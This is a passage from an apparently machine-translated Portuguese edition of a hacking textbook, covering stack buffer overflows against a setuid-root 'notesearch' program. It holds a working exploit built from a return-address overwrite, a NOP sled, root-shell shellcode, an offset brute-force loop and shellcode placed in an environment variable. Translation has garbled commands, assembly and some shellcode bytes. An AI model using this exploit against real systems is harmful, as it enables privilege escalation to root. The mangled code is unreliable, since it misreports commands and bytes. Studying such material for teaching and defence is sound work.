qualquer sintaxe que lhe</p><p>pareça mais natural; entretanto, a sintaxe dos parênteses é mais fácil de ler</p><p>para a maioria das pessoas.</p><p>reader@hacking:~/booksrc $ u`perl -e 'print "na";'me Linux</p><p>reader@hacking:~/booksrc $ u$(perl -e 'print "na";')me</p><p>Linux</p><p>reader@hacking:~/booksrc $</p><p>A substituição de comandos e o Perl podem ser usados em combinação</p><p>para gerar rapidamente amortecedores de transbordamento na mosca. Você</p><p>pode usar esta técnica para testar facilmente o programa overflow_example.c</p><p>com buffers de comprimentos precisos.</p><p>reader@hacking:~/booksrc $ ./overflow_example $(perl -e 'print "A "x30') [ANTES]</p><p>buffer_two está em 0xbffff7e0 e contém 'dois'.</p><p>[ANTES] buffer_one está em 0xbffff7e8 e contém 'um' [ANTES]</p><p>valor está em 0xbff7f4 e é 5 (0x00000005)</p><p>[STRCPY] copiando 30 bytes em buffer_two</p><p>[AFTER] buffer_two is at 0xbffff7e0 and contains 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'</p><p>[AFTER] buffer_one is at 0xbffff7e8 and contains 'AAAAAAAAAAAAAAAAAAAAAA'</p><p>[O valor é de 0xbffff7f4 e é 1094795585 (0x41414141) Falha de</p><p>segmentação (núcleo despejado)</p><p>reader@hacking:~/booksrc $ gdb -q</p><p>(gdb) print 0xbffff7f4 - 0xbffff7e0</p><p>$1 = 20</p><p>Exploração 145</p><p>(gdb) desistir</p><p>reader@hacking:~/booksrc $ ./overflow_example $(perl -e 'print "A "x20 . "ABCD"')</p><p>[ANTES] buffer_two está em 0xbffff7e0 e contém 'dois'.</p><p>[ANTES] buffer_one está em 0xbffff7e8 e contém 'um' [ANTES]</p><p>valor está em 0xbff7f4 e é 5 (0x00000005)</p><p>[STRCPY] copiando 24 bytes em buffer_two</p><p>[DEPOIS] buffer_two</p>
<p>está em 0xbffff7e0 e contém 'AAAAAAAAAAAAAAAAABCD'</p><p>[DEPOIS] buffer_one está em 0xbffff7e8 e contém 'AAAAAAAAAABCD' [DEPOIS] valor</p><p>está em 0xbffff7f4 e está em 1145258561 (0x44434241)</p><p>reader@hacking:~/booksrc $</p><p>Na saída acima, GDB é usado como uma calculadora hexadecimal para</p><p>calcular a distância entre buffer_two (0xbfffff7e0) e a variável de valor</p><p>(0xbffff7f4), que acaba sendo de 20 bytes. Usando esta distância, a variável de</p><p>valor é sobrescrita com o valor exato 0x44434241, já que os caracteres A, B, C e</p><p>D têm os valores hexadecimais de 0x41, 0x42, 0x43, e 0x44, respectivamente. O</p><p>primeiro caractere é o byte menos significativo, devido à turez do little-endian</p><p>architec-. Isto significa que se você quisesse controlar a variável de valor com</p><p>algo exato, como 0xdeadbeef, você deve escrever esses bytes na memória em</p><p>ordem inversa.</p><p>reader@hacking:~/booksrc $ ./overflow_example $(perl -e 'print "A "x20 . "\xef\xbe\xad\xde"')</p><p>[ANTES] buffer_two está em 0xbffff7e0 e contém 'dois'.</p><p>[ANTES] buffer_one está em 0xbffff7e8 e contém 'um' [ANTES]</p><p>valor está em 0xbff7f4 e é 5 (0x00000005)</p><p>[STRCPY] copiando 24 bytes em buffer_two</p><p>[DEPOIS] buffer_two está em 0xbffff7e0 e contém 'AAAAAAAAAAAAAAAAAA??'</p><p>[DEPOIS] buffer_two está em 0xbffff7e8 e contém 'AAAAAAAAAAAAA??</p><p>[O valor é de 0xbffff7f4 e é -559038737 (0xdeadbeef) reader@hacking:~/booksrc $</p><p>Esta técnica pode ser aplicada para sobrescrever o endereço de retorno</p><p>no programa auth_overflow2.c com um valor exato. No exemplo abaixo,</p><p>sobrescreveremos o endereço de retorno com um endereço diferente em</p><p>main().</p><p>reader@hacking:~/booksrc $ gcc -g -o auth_overflow2 auth_overflow2.c</p><p>reader@hacking:~/booksrc $ gdb -q ./auth_overflow2</p><p>Usando a biblioteca host libthread_db "/lib/tls/i686/cmov/libthread_db.so.1".</p><p>(gdb) desassorear main</p><p>Lixeira de código de montador para função principal:</p><p>0x08048474 <main+0>: empur</p><p>rar</p><p>ebp</p><p>0x08048475 <main+1>: mov ebp,esp</p><p>0x08048477 <main+3>: sub esp,0x8</p><p>0x0804847a <main+6>: e esp,0xfffffff0</p><p>0x0804847d <main+9>: mov eax,0x0</p><p>0x08048482 <main+14>: sub esp,eax</p><p>0x08048484 <main+16>: cmp DWORD PTR [ebp+8],0x1</p><p>146 0x</p><p>3 0 0</p><p>0x08048488 <main+20>: jg 0x80484ab <main+55></p><p>0x080484848a <main+22>: mov eax,DWORD PTR [ebp+12]</p><p>0x0804848d <main+25>: mov eax,DWORD PTR [eax]</p><p>0x0804848f <main+27>: mov DWORD PTR [esp+4],eax</p><p>0x08048493 <main+31>: mov DWORD PTR [esp],0x80485e5</p><p>0x0804849a <main+38>: ligu</p><p>e</p><p>para</p><p>0x804831c <printf@plt></p><p>0x0804849f <main+43>: mov DWORD PTR [esp],0x0</p><p>0x080484a6 <main+50>: ligu</p><p>e</p><p>para</p><p>0x804833c <exit@plt></p><p>0x080484ab</p><p>0x080484ae</p><p>0x080484b1</p><p><main+55>:</p><p><main+58>:</p><p><main+61>:</p><p>mov</p><p>adic</p><p>ion</p><p>ar</p><p>mov</p><p>eax,DWORD</p><p>eax,0x4</p><p>eax,DWORD</p><p>PTR [ebp+12]</p><p>PTR [eax]</p><p>0x080484b3 <main+63>: mov DWORD PTR [esp],eax</p><p>0x080484b6</p><p>0x080484bb</p><p>0x080484bd</p><p><main+66>:</p><p><main+71>:</p><p><main+73>:</p><p>teste</p><p>de</p><p>cha</p><p>mad</p><p>a</p><p>je</p><p>0x8048414</p><p>eax,eax</p><p>0x80484e5</p><p><check_authentication></p><p><main+113></p><p>0x080484bf <main+75>: mov DWORD PTR [esp],0x80485fb</p><p>0x080484c6 <main+82>: ligue</p><p>para</p><p>0x804831c <printf@plt></p><p>0x080484cb <main+87>: mov DWORD PTR [esp],0x8048619</p><p>0x080484d2 <main+94>: ligue</p><p>para</p><p>0x804831c <printf@plt></p><p>0x080484d7 <main+99>: mov DWORD PTR [esp],0x8048630</p><p>0x080484de <main+106>: ligue</p><p>para</p><p>0x804831c <printf@plt></p><p>0x080484e3 <main+111>: jmp 0x80484f1 <main+125></p><p>0x080484e5 <main+113>: mov DWORD PTR [esp],0x804864d</p><p>0x080484ec</p><p>0x080484f1</p><p>0x080484f2</p><p><main+120>:</p><p><main+125>:</p><p><main+126>:</p><p>licenç</p><p>a de</p><p>cha</p><p>mad</p><p>a</p><p>ret</p><p>0x804831c <printf@plt></p><p>Fim do despejo do</p><p>montador. (gdb)</p><p>Esta seção do código mostrado em negrito contém as instruções que</p><p>exibem a mensagem Access Granted. O início desta seção está em 0x080484bf,</p><p>portanto, se o endereço de retorno for sobrescrito com este valor, este bloco</p><p>de instruções será executado. A distância exata entre o endereço de retorno</p><p>e o início do password_buffer pode mudar devido a diferentes versões do</p><p>compilador e diferentes bandeiras de otimização. Desde que o início do</p><p>buffer esteja alinhado com as DWORDs na pilha, esta mutabilidade pode ser</p><p>contabilizada pela simples repetição do endereço de retorno muitas vezes.</p><p>Desta forma, pelo menos uma das instâncias sobregravará o endereço de</p><p>retorno, mesmo que ele tenha se deslocado devido a otimizações do</p><p>Exploração 147</p><p>compilador.</p><p>reader@hacking:~/booksrc $ ./auth_overflow2 $(perl -e 'print "\xbf\x84\x04\x08 "x10")</p><p>-=-=-=-=-=-=-=-=-=-=-=-=-=-</p><p>Acesso Concedido.</p><p>-=-=-=-=-=-=-=-=-=-=-=-=-=-</p><p>Falha de segmentação (core dumped)</p><p>reader@hacking:~/booksrc $</p><p>No exemplo acima, o endereço alvo de 0x080484bf é repetido 10 vezes para</p><p>garantir que o endereço de retorno seja sobregravado com o novo endereço</p><p>alvo. Quando a função check_authentication() retorna, a execução salta</p><p>diretamente para o novo endereço alvo em vez de retornar à próxima</p><p>instrução após a chamada. Isto nos dá mais controle; entretanto, ainda</p><p>estamos limitados ao uso das instruções que existem na programação</p><p>original.</p><p>148 0x</p><p>3 0 0</p><p>O programa de pesquisa de notas é vulnerável a um buffer overflow na</p><p>linha marcada em negrito aqui.</p><p>int main(int argc, char *argv[]) {</p><p>int userid, printing=1, fd; // File descriptor char</p><p>searchstring[100];</p><p>if(argc > 1) // Se houver uma arg</p><p>strcpy(searchstring, argv[1]); // que é a cadeia de busca;</p><p>caso contrário // caso contrário,</p><p>searchstring[0] = 0; // a cadeia de busca está vazia.</p><p>A exploração de pesquisa de notas usa uma técnica semelhante para</p><p>transbordar um buffer para o endereço de retorno; no entanto, ela também</p><p>injeta suas próprias instruções na memória e depois devolve a execução lá.</p><p>Estas instruções são chamadas shellcode, e dizem ao programa para restaurar</p><p>privilégios e abrir um prompt shell. Isto é especialmente devastador para o</p><p>programa de pesquisa de notas, uma vez que é a raiz do suid. Como este</p><p>programa espera acesso de múltiplos usuários, ele roda sob privilégios mais</p><p>altos para poder acessar seu arquivo de dados, mas a lógica do programa</p><p>impede que o usuário use estes privilégios mais altos para qualquer outra</p><p>coisa que não seja acessar o arquivo de dados - pelo menos é essa a intenção.</p><p>Mas quando novas instruções podem ser injetadas e a execução pode ser</p><p>controlada com um buffer overflow, a lógica do programa não tem sentido.</p><p>Esta técnica permite que o programa faça coisas que nunca foi programado</p><p>para fazer, enquanto ainda está funcionando com privilégios elevados. Esta é a</p><p>combinação perigosa que permite a exploração da pesquisa de notas para</p><p>ganhar uma casca de raiz. Vamos examinar a exploração mais a fundo.</p><p>reader@hacking:~/booksrc $ gcc -g exploit_notesearch.c</p><p>reader@hacking:~/booksrc $ gdb -q ./a.out</p><p>Usando a biblioteca host libthread_db "/lib/tls/i686/cmov/libthread_db.so.1". (gdb)</p><p>lista 1</p><p>1 #include <stdio.h></p><p>2 #incluir <stdlib.h></p><p>3 #incluir <string.h></p><p>4 char shellcode[]=</p><p>5 "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"</p><p>6 "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"</p><p>7 "xxe1xcd\x80";</p><p>8</p><p>9 int main(int argc, char *argv[]) {</p><p>10 não assinado int i, *ptr, ret,</p><p>offset=270; (gdb)</p><p>11 char *command, *buffer;</p><p>12</p><p>13 comando = (char *) malloc(200);</p><p>14 bzero(comando, 200); // Zerar a nova memória. 15</p><p>16 strcpy(comando, "./notesearch \ '"); // Iniciar o buffer de comandos.</p><p>17 buffer = comando + strlen(comando); // Definir buffer no final. 18</p><p>19 if(argc > 1) // Ajustar offset.</p><p>Exploração 149</p><p>20 offset = atoi(argv[1]);</p><p>(gdb)</p><p>21</p><p>22 ret = (int não assinado) &i - offset; // Definir endereço</p><p>de retorno. 23</p><p>24 for(i=0; i < 160; i+=4) // Preencher buffer com endereço de retorno.</p><p>25 *((unsigned int *)(buffer+i)) = ret;</p><p>26 memset(tampão, 0x90, 60); // Construir trenó NOP.</p><p>27 memcpy(buffer+60, shellcode, sizeof(shellcode)-1));</p><p>28</p><p>29 strcat(comando, "\'");</p><p>30</p><p>(gdb) pausa 26</p><p>Ponto de parada 1 em 0x80485fa: file exploit_notesearch.c, linha</p><p>26. (gdb) quebra 27</p><p>Ponto de parada 2 em 0x8048615: file exploit_notesearch.c, linha</p><p>27. (gdb) break 28</p><p>Ponto de parada 3 em 0x8048633: file exploit_notesearch.c, linha</p><p>28. (gdb)</p><p>A exploração de pesquisa de notas gera um buffer nas linhas</p>
<p>24 a 27</p><p>(mostrado acima em negrito). A primeira parte é um laço que preenche o</p><p>buffer com um endereço de 4 bytes armazenado na variável ret. O laço</p><p>incrementa i em 4 cada vez. Este valor é adicionado ao endereço do buffer, e</p><p>tudo isso é digitado como um ponteiro inteiro não assinado. Isto tem um</p><p>tamanho de 4, portanto, quando tudo é desreferenciado, todo o valor de 4</p><p>bytes encontrado no ret é escrito.</p><p>(gdb) funcionar</p><p>Programa inicial: /home/leitor/ livrorc/a.out</p><p>Ponto de quebra 1, principal (argc=1, argv=0xbffff894) em exploit_notesearch.c:26</p><p>26 memset(tampão, 0x90, 60); // construir</p><p>trenó NOP (gdb) x/40x tampão</p><p>0x804a016: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6</p><p>0x804a026: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6</p><p>0x804a036: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6</p><p>0x804a046: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6</p><p>0x804a056: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6</p><p>0x804a066: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6</p><p>0x804a076: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6</p><p>0x804a086: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6</p><p>0x804a096: 0xbffff6f6 0xbffffff6f6 0xbffffff6f6 0xbffffff6f6 0x804a0a6:</p><p>0xbffffff6f6 0xbffffff6f6 0xbffffff6f6 0xbffffff6f6 (gdb) comando x/s</p><p>0x804a008: "0x804a008: ".</p><p>(gdb)</p><p>No primeiro ponto de parada, o ponteiro amortecedor mostra o</p><p>resultado do for loop. Você também pode ver a relação entre o ponteiro de</p><p>comando e o ponteiro tampão. A próxima instrução é uma chamada para</p><p>memset(), que começa no início do buffer e define 60 bytes de memória com</p><p>o valor 0x90.</p><p>150 0x</p><p>3 0 0</p><p>(gdb) Contínuo.</p><p>Breakpoint 2, principal (argc=1, argv=0xbffff894) em exploit_notesearch.c:27</p><p>27 memcpy(buffer+60, shellcode, sizeof(shellcode)-1);</p><p>(gdb) x/40x buffer</p><p>0x804a016: 0x90909090 0x90909090 0x90909090 0x90909090</p><p>0x804a026: 0x90909090 0x90909090 0x90909090 0x90909090</p><p>0x804a036: 0x90909090 0x90909090 0x90909090 0x90909090</p><p>0x804a046: 0x90909090 0x90909090 0x90909090 0xbffff6f6</p><p>0x804a056: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6</p><p>0x804a066: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6</p><p>0x804a076: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6</p><p>0x804a086: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6</p><p>0x804a096: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6</p><p>0x804a0a6: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6</p><p>(gdb) comando x/s</p><p>0x804a008: "./notesearch '", '\220' <repetições 60 vezes>, "¶ûÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ</p><p>¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿"</p><p>(gdb)</p><p>Finalmente, a chamada para memcpy() copiará os bytes do código de shell</p><p>em buffer+60.</p><p>(gdb) Contínuo.</p><p>Breakpoint 3, principal (argc=1, argv=0xbffff894) em exploit_notesearch.c:29</p><p>29 strcat(comando, "\'");</p><p>(gdb) x/40x tampão</p><p>0x804a016: 0x90909090 0x90909090 0x90909090 0x90909090</p><p>0x804a026: 0x90909090 0x90909090 0x90909090 0x90909090</p><p>0x804a036: 0x90909090 0x90909090 0x90909090 0x90909090</p><p>0x804a046: 0x90909090 0x90909090 0x90909090 0x3158466a</p><p>0x804a056: 0xcdc931db 0x2f685180 0x6868732f 0x6e69622f</p><p>0x804a066: 0x5351e389 0xb099e189 0xbf80cd0b 0xbffff6f6</p><p>0x804a076: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6</p><p>0x804a086: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6</p><p>0x804a096: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6</p><p>0x804a0a6: 0xbffff6f6 0xbffff6f6 0xbffff6f6 0xbffff6f6</p><p>(gdb) comando x/s</p><p>0x804a008: "./notesearch '", '\220' <repeats 60 times>, "1À1Û1É\231°¤Í\200j\vXQh//shh/</p><p>bin\211ãQ\211âS\211áÍ\200¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿¶ûÿ¿"</p><p>(gdb)</p><p>Agora o buffer contém o código de shell desejado e é longo o suficiente</p><p>para escrever em demasia o endereço de retorno. A dificuldade de encontrar</p><p>a localização exata do endereço de retorno é aliviada pelo uso da técnica de</p><p>endereço de retorno repetido. Mas este endereço de retorno deve apontar</p><p>para o código da shell localizado no mesmo buffer. Isto significa que o</p><p>endereço real deve ser conhecido com antecedência, antes mesmo de entrar</p><p>na memória. Esta pode ser uma previsão difícil de ser feita com uma pilha que</p><p>muda dinamicamente. Felizmente, existe outra técnica de hacking,</p><p>Exploração 151</p><p>chamado trenó NOP, que pode ajudar com esta difícil chicana. O NOP é uma</p><p>instrução de montagem que é abreviatura para nenhuma operação. É uma instrução</p><p>de byte único que não faz absolutamente nada. Estas instruções são às vezes</p><p>usadas para desperdiçar ciclos computacionais para fins de tempo e são</p><p>realmente necessárias na arquitetura do processador Sparc, devido à</p><p>tubulação de instruções. Neste caso, as instruções NOP serão usadas para um</p><p>propósito diferente: como um fator de fudge. Vamos criar um grande</p><p>conjunto (ou trenó) destas instruções NOP e colocá-lo antes do código shell;</p><p>então, se o registro EIP apontar para qualquer endereço encontrado no trenó</p><p>NOP, ele irá aumentar durante a execução de cada instrução NOP, uma de</p><p>cada vez, até que finalmente chegue ao código shell. Isto significa que</p><p>enquanto o endereço de retorno for sobrescrito com qualquer endereço</p><p>encontrado no trenó do NOP, o registro EIP deslizará para baixo do trenó até</p><p>o código shell, que será executado corretamente. Na arquitetura x86, a</p><p>instrução do NOP é equivalente ao byte hexadecimal 0x90. Isto significa que</p><p>nosso buffer de exploração completo é algo parecido com isto:</p><p>Trenó NOP Código</p><p>Shellcode</p><p>Endereço de retorno</p><p>repetido</p><p>Mesmo com um trenó NOP, a localização aproximada do buffer na</p><p>memória deve ser prevista com antecedência. Uma técnica para a aproximação</p><p>da localização da memória é usar uma localização próxima da pilha como um</p><p>quadro de referência. Subtraindo um deslocamento desse local, pode-se obter</p><p>o endereço relativo de qualquer variável.</p><p>De exploit_notesearch.c</p><p>não assinado int i, *ptr, ret,</p><p>offset=270; char *command, *buffer;</p><p>comando = (char *) malloc(200);</p><p>bzero(comando, 200); // Zerar a nova memória.</p><p>strcpy(comando, "./notesearch \ '"); // Iniciar comando de buffer.</p><p>buffer = comando + strlen(comando); // Definir buffer no final.</p><p>if(argc > 1) // Set offset.</p><p>offset. offset =</p><p>atoi(argv[1]);</p><p>ret = (int não assinado) &i - offset; // Definir endereço de retorno.</p><p>Na exploração de pesquisa de notas, o endereço da variável i na estrutura</p><p>da pilha principal() é usado como um ponto de referência. Em seguida, um</p><p>deslocamento é subtraído desse valor; o resultado é o endereço de retorno</p><p>alvo. Este offset era anteriormente deter- minado para ser 270, mas como este</p><p>número é calculado?</p><p>A maneira mais fácil de determinar esta compensação é</p><p>experimentalmente. O depurador deslocará ligeiramente a memória e</p><p>perderá privilégios quando o programa de pesquisa de notas da raiz do suid</p><p>152 0x</p><p>3 0 0</p><p>for executado, tornando a depuração muito menos útil neste caso.</p><p>Exploração 153</p><p>Como a exploração da pesquisa de notas permite um argumento de linha</p><p>de comando opcional para definir o offset, diferentes offsets podem ser</p><p>rapidamente testados.</p><p>reader@hacking:~/booksrc $ gcc exploit_notesearch.c</p><p>reader@hacking:~/booksrc $ ./a.out 100</p><p>-------[ dados finais da nota ]-------</p><p>reader@hacking:~/booksrc $ ./a.out 200</p><p>-------[ dados finais da nota ]-------</p><p>reader@hacking:~/booksrc $</p><p>Entretanto, fazer isso manualmente é tedioso e estúpido. A BASH</p><p>também tem um loop que pode ser usado para automatizar este processo. O</p><p>comando seq é um programa simples que gera seqüências de números, que é</p><p>tipicamente usado com looping.</p><p>reader@hacking:~/booksrc $ seq 1 10</p><p>1</p><p>2</p><p>3</p><p>4</p><p>5</p><p>6</p><p>7</p><p>8</p><p>9</p><p>10</p><p>reader@hacking:~/booksrc $ seq 1 3 10</p><p>1</p><p>4</p><p>7</p><p>10</p><p>reader@hacking:~/booksrc $</p><p>Quando apenas dois argumentos são usados, todos os números do</p><p>primeiro argu- ment até o segundo são gerados. Quando três argumentos são</p><p>usados, o argumento do meio dita o quanto deve ser incrementado cada vez.</p><p>Isto pode ser usado com substituição de comando para conduzir os BASH's</p><p>por loop.</p><p>reader@hacking:~/booksrc $ para i em $(seq 1 3 10)</p><p>> do</p><p>> echo O valor é de $i</p><p>> feito</p><p>O valor é 1 O</p><p>valor é 4 O</p><p>valor é 7 O</p><p>valor é 10</p><p>reader@hacking:~/booksrc $</p><p>154 0x</p><p>3 0 0</p><p>A função do for loop deve ser familiar, mesmo que a sintaxe seja um</p><p>pouco diferente.</p>
<p>A variável shell $i itera através de todos os valores</p><p>encontrados nos acentos graves (gerados por seq). Em seguida, tudo entre as</p><p>palavras-chave do do e feito é executado. Isto pode ser usado para testar</p><p>rapidamente muitos offsets diferentes. Como o trenó NOP tem 60 bytes de</p><p>comprimento, e podemos retornar a qualquer lugar no trenó, há cerca de 60</p><p>bytes de espaço de manobra. Podemos incrementar com segurança o laço de</p><p>compensação com um passo de 30, sem o perigo de perder o trenó.</p><p>reader@hacking:~/booksrc $ por i em $(seq 0 30 300)</p><p>> do</p><p>> echo Tentando compensar $i</p><p>> ./a.out $i</p><p>> feito</p><p>Tentando compensar 0</p><p>[DEBUG] encontrou uma nota de 34 bytes para o id</p><p>de usuário 999 [DEBUG] encontrou uma nota de 41</p><p>bytes para o id de usuário 999</p><p>Quando é usado o offset correto, o endereço de retorno é sobrescrito</p><p>com um valor que aponta para algum lugar no trenó do NOP. Quando a</p><p>execução tenta retornar a esse local, ele apenas desliza pelo trenó do NOP</p><p>para dentro das instruções do código da concha injetada. Foi assim que o</p><p>valor padrão de offset foi descoberto.</p><p>0x331 Usando o meio ambiente</p><p>Às vezes um buffer será muito pequeno para segurar até mesmo um código de</p><p>shell. Felizmente, há outros locais na memória onde o código da shell pode ser</p><p>armazenado. As variáveis ambientais são usadas pelo shell do usuário para uma</p><p>variedade de coisas, mas o que elas são usadas não é tão importante quanto o</p><p>fato de estarem localizadas na pilha e poderem ser definidas a partir do shell. O</p><p>exemplo abaixo define uma variável de ambiente chamada MYVAR para o teste de</p><p>string. Esta variável de ambiente pode ser acessada através da pré-publicação de</p><p>um sinal de dólar em seu nome. Além disso, o comando env mostrará todas as</p><p>variáveis de ambiente. Note que há várias variáveis de ambiente padrão vari-</p><p>ables já definidas.</p><p>reader@hacking:~/booksrc $ export MYVAR=test</p><p>reader@hacking:~/booksrc $ echo $MYVAR</p><p>teste</p><p>reader@hacking:~/booksrc $ env</p><p>SSH_AGENT_PID=7531</p><p>SHELL=/bin/bash</p><p>DESKTOP_STARTUP_ID=</p><p>TERM=xtermato</p><p>GTK_RC_FILES=/etc/gtk/gtkrc:/home/reader/.gtkrc-1.2-gnome2</p><p>WINDOWID=39845969</p><p>OLDPWD=/home/leitor</p><p>USER=leitor</p><p>LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=4</p><p>0;31;01:su=37;41:sg=30;43:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;</p><p>Exploração 155</p><p>31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.deb=01;31:*</p><p>.rpm=01;31:*.jar=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35</p><p>:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.mov=01;</p><p>156 0x</p><p>3 0 0</p><p>35:*.mpg=01;35:*.mpeg=01;35:*.avi=01;35:*.fli=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;</p><p>35:*.flac=01;35:*.mp3=01;35:*.mpc=01;35:*.ogg=01;35:*.wav=01;35:</p><p>SSH_AUTH_SOCK=/tmp/ssh-EpSEbS7489/agent.7489</p><p>GNOME_KEYRING_SOCKET=/tmp/keyring-AyzuEi/socket</p><p>SESSION_MANAGER=local/hacking:/tmp/.ICE-unix/7489</p><p>USERNAME=reader</p><p>DESKTOP_SESSION=default.desktop</p><p>PATH=/usr/local/sbin:/usr/local/bin:/usr/bin:/usr/bin:/sbin:/bin:/usr/games</p><p>GDM_XSERVER_LOCATION=local</p><p>PWD=/home/reader/booksrc</p><p>LANG=pt_US.UTF-8</p><p>GDMSESSION=def</p><p>ault.desktop</p><p>HISTCONTROL=ignoreboth</p><p>HOME=/casa/leitor</p><p>SHLVL=1</p><p>GNOME_DESKTOP_SESSI</p><p>ON_ID=Padrão</p><p>LOGNAME=reader</p><p>DBUS_SESSION_BUS_ADDRESS=unix:abstract=/tmp/dbus-</p><p>DxW6W1OH1O,guid=4f4e0e9cc6f68009a059740046e28e35</p><p>LESSOPEN=|| /usr/bin/lesspipe %s</p><p>DISPLAY=:0.0</p><p>MYVAR=test</p><p>LESSCLOSE=/usr/bin/lesspipe %s %s</p><p>RUNNING_UNDER_GDM=yes</p><p>COLORTERM=gnome-</p><p>terminal</p><p>XAUTHORITY=/home/reader/.Xauthority</p><p>_=/usr/bin/env</p><p>reader@hacking:~/booksrc $</p><p>Da mesma forma, o código shell pode ser colocado em uma variável de</p><p>ambiente, mas primeiro ele precisa estar em uma forma que possamos</p><p>manipular facilmente. O código shell da exploração de pesquisa de notas</p><p>pode ser usado; basta colocá-lo em um arquivo em formato binário. As</p><p>ferramentas padrão de cabeça, grep, e corte podem ser usadas para isolar</p><p>apenas os bytes hex-expandidos do código shell.</p><p>reader@hacking:~/booksrc $ head exploit_notesearch.c</p><p>#include <stdio.h></p><p>#include <stdlib.h></p><p>#include <string.h></p><p>char shellcode[]=</p><p>"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"</p><p>"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"</p><p>"\xe1\xcd\x80";</p><p>int main(int argc, char *argv[]) {</p><p>unsigned int i, *ptr, ret, offset=270;</p><p>reader@hacking:~/booksrc $ head exploit_notesearch.c | grep "^\"</p><p>"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"</p><p>"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"</p><p>"\xe1\xcd\x80";</p><p>Exploração 157</p><p>reader@hacking:~/booksrc $ head exploit_notesearch.c | grep "^\" | cortar -d\" -f2</p><p>\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68</p><p>158 0x</p><p>3 0 0</p><p>\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89</p><p>\xe1xcd\x80</p><p>reader@hacking:~/booksrc $</p><p>As primeiras 10 linhas do programa são canalizadas para o grep, que</p><p>mostra apenas as linhas que começam com uma marca de cotação. Isto isola</p><p>as linhas que contêm o código da casca, que são então encanadas em corte</p><p>usando opções para exibir apenas os bytes entre duas aspas.</p><p>A BASH para loop pode realmente ser usada para enviar cada uma</p><p>dessas linhas para um comando de eco, com opções de linha de comando</p><p>para reconhecer a expansão hexadecimal e para suprimir a adição de um</p><p>novo caractere de linha ao final.</p><p>reader@hacking:~/booksrc $ for i in $(head exploit_notesearch.c | grep "^\"" | cut -d\" -f2)</p><p>> do</p><p>> echo -en $i</p><p>> feito > shellcode.bin</p><p>reader@hacking:~/bookrc $ hexdump -C shellcode.bin</p><p>00000000 31 c0 31 db 31 c9 99 b0 a4 cd 80 6a 0b 58 51 68 | 1 .1.1. ...................j.XQh</p><p>00000010 2f 2f 73 68 68 2f 62 69 6e 89 6e 89 e3 51 89 e2 53 89 | / / s h h / b i n ..Q..S.|</p><p>00000020 e1 cd 80 |......|</p><p>00000023</p><p>reader@hacking:~/booksrc $</p><p>Agora temos o código shellcode em um arquivo chamado shellcode.bin.</p><p>Isto pode ser usado com substituição de comandos para colocar o shellcode</p><p>em uma variável de ambiente, juntamente com um generoso trenó NOP.</p><p>reader@hacking:~/booksrc $ export SHELLCODE=$(perl -e 'print "\x90 "x200')$(cat shellcode.bin)</p><p>reader@hacking:~/booksrc $ echo $SHELLCODE</p><p>1 1 1 j</p><p>XQh//shh/bin Q S</p><p>reader@hacking:~/booksrc $</p><p>E assim mesmo, o código da casca está agora na pilha em uma variável de</p><p>ambiente, junto com um trenó NOP de 200 bytes. Isto significa que só</p><p>precisamos encontrar um endereço em algum lugar nessa faixa do trenó para</p><p>sobrescrever o endereço de retorno salvo. As variáveis de ambiente estão</p><p>localizadas perto do fundo da pilha, portanto é aqui que devemos procurar ao</p><p>executar a pesquisa de notas em um depurador.</p><p>reader@hacking:~/booksrc $ gdb 